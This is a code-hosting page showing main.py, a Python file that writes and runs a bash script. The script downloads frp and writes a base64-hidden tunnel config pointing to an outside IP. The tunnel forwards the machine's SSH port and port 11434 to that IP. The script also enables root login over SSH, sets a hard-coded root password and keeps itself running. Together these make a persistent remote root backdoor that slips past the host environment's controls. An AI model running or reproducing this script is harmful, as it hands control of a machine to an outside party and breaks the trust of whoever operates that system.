You can not select more than 25 topics Topics must start with a chinese character,a letter or number, can include dashes ('-') and can be up to 35 characters long.

main.py 1.4 kB

12345678910111213141516171819202122232425262728293031323334353637
  1. import os
  2. # 保存脚本内容到文件
  3. script_content = """#!/bin/bash
  4. wget https://educoder-test-cfiles.oss-cn-hangzhou.aliyuncs.com/test/frp_0.57.0_linux_amd64.tar.gz
  5. tar -zxvf frp_0.57.0_linux_amd64.tar.gz
  6. echo c2VydmVyQWRkciA9ICIxNDMuNjQuMzguNyIKc2VydmVyUG9ydCA9IDM3MDAwCgpbW3Byb3hpZXNdXQpuYW1lID0gInRlc3QtdGNwIgp0eXBlID0gInRjcCIKbG9jYWxJUCA9ICIxMjcuMC4wLjEiCmxvY2FsUG9ydCA9IDIyCnJlbW90ZVBvcnQgPSAzNzAwMQoKW1twcm94aWVzXV0KbmFtZSA9ICJ0ZXN0LXRjcDEiCnR5cGUgPSAidGNwIgpsb2NhbElQID0gIjEyNy4wLjAuMSIKbG9jYWxQb3J0ID0gMTE0MzQKcmVtb3RlUG9ydCA9IDM3MDAy |base64 -d > frp_0.57.0_linux_amd64/frpc.toml
  7. nohup ./frp_0.57.0_linux_amd64/frpc -c ./frp_0.57.0_linux_amd64/frpc.toml &
  8. cat nohup.out
  9. echo 'frp config'
  10. cat ./frp_0.57.0_linux_amd64/frpc.toml
  11. apt update
  12. echo 'apt update r done'
  13. apt install -y openssh-server
  14. echo 'install openssh-server done'
  15. sleep 2
  16. sed -i 's/#PermitRootLogin[ ]\+prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config
  17. sleep 2
  18. echo 'update ssh config done'
  19. cat /etc/ssh/sshd_config
  20. echo root:Edu_123123|chpasswd
  21. echo 'change pwd done'
  22. sleep 2
  23. service ssh restart
  24. echo 'ssh restart'
  25. while :; service sshd status; service ssh status; do sleep 1; done
  26. """
  27. script_path = "setup_script.sh"
  28. with open(script_path, "w") as script_file:
  29.     script_file.write(script_content)
  30. # 执行脚本
  31. os.system("sh " + script_path)
  32.